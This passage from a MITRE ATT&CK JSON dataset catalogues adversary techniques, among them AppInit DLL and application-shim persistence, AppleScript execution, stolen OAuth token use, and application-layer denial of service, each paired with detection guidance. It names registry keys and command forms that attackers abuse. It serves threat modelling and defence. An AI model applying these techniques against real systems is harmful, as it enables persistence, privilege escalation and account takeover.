            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
            "id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-11-10T18:29:31.076Z",
            "created": "2020-01-24T14:52:25.589Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Secure boot disabled on systems running Windows 8 and later"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Module: Module Load"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "name": "AppleScript",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1155",
                    "url": "https://attack.mitre.org/techniques/T1155"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "source_name": "Macro Malware Targets Macs"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-04-14T13:26:00.846Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.002",
                    "url": "https://attack.mitre.org/techniques/T1059/002"
                },
                {
                    "source_name": "Apple AppleScript",
                    "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html",
                    "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020."
                },
                {
                    "source_name": "SentinelOne AppleScript",
                    "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/",
                    "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020."
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "source_name": "Macro Malware Targets Macs"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppleScript",
            "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
            "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-08-03T21:40:51.878Z",
            "created": "2020-03-09T14:07:54.329Z",
            "x_mitre_contributors": [
                "Phil Stokes, SentinelOne"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1527",
                    "external_id": "T1527",
                    "source_name": "mitre-attack"
                },
                {
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"
                },
                {
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
                    "source_name": "okta"
                },
                {
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
                    "source_name": "Microsoft Identity Platform Access 2019"
                },
                {
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                    "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
                    "source_name": "Staaldraad Phishing with OAuth 2017"
                }
            ],
            "name": "Application Access Token",
            "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-23T15:59:40.457Z",
            "created": "2019-08-30T12:55:58.607Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1550.001",
                    "url": "https://attack.mitre.org/techniques/T1550/001"
                },
                {
                    "external_id": "CAPEC-593",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/593.html"
                },
                {
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"
                },
                {
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
                    "source_name": "okta"
                },
                {
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
                    "source_name": "Microsoft Identity Platform Access 2019"
                },
                {
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                    "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
                    "source_name": "Staaldraad Phishing with OAuth 2017"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Access Token",
            "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",
            "id": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-04-14T18:09:45.539Z",
            "created": "2020-01-30T17:37:22.261Z",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_defense_bypassed": [
                "System Access Controls"
            ],
            "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.",
            "x_mitre_data_sources": [
                "Web Credential: Web Credential Usage",
                "Application Log: Application Log Content"
            ],
            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Mark Wee"
            ],
            "x_mitre_platforms": [
                "Office 365",
                "SaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1017",
                    "external_id": "T1017"
                },
                {
                    "external_id": "CAPEC-187",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/187.html"
                }
            ],
            "name": "Application Deployment Software",
            "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-23T15:40:50.965Z",
            "created": "2017-05-31T21:30:27.755Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1499.003",
                    "url": "https://attack.mitre.org/techniques/T1499/003"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Exhaustion Flood",
            "description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)",
            "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-29T16:08:52.118Z",
            "created": "2020-02-20T15:35:00.025Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "created": "2017-05-31T21:30:56.776Z",
            "modified": "2020-10-21T16:35:45.986Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Layer Protocol",
            "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071",
                    "url": "https://attack.mitre.org/techniques/T1071"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "name": "Application Shimming",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1138",
                    "url": "https://attack.mitre.org/techniques/T1138"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "source_name": "Black Hat 2015 App Shim"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.362Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.011",
                    "url": "https://attack.mitre.org/techniques/T1546/011"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "source_name": "FireEye Application Shimming",
                    "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf",
                    "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "source_name": "Black Hat 2015 App Shim"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Shimming",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
            "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-11-10T18:29:31.094Z",
            "created": "2020-01-24T14:56:24.231Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Module: Module Load",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Window Discovery",
            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1010",
                    "external_id": "T1010"
                }
            ],
            "object_marking_refs": [
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            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T15:44:27.068Z",
            "created": "2017-05-31T21:30:24.512Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1499.004",
                    "url": "https://attack.mitre.org/techniques/T1499/004"
                },
                {
                    "source_name": "Sucuri BIND9 August 2015",
                    "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html",
                    "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019."
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            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application or System Exploitation",
            "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.",
            "id": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-29T16:09:41.559Z",
            "created": "2020-02-20T15:37:27.052Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
            "name": "Archive Collected Data",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1560",
                    "url": "https://attack.mitre.org/techniques/T1560"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-10-21T16:36:55.831Z",
            "created": "2020-02-20T20:53:45.725Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation",
                "Script: Script Execution"
            ],
            "x_mitre_detection": "Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-02-20T21:09:55.995Z",
            "modified": "2020-03-25T22:48:14.605Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
            "name": "Archive via Custom Method",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1560.003",
                    "url": "https://attack.mitre.org/techniques/T1560/003"
                },
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Script: Script Execution"
            ]
        },
        {
            "external_references": [
                {
